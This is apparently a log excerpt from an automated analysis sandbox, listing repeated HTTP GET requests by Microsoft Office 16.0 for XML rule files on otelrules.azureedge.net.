Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
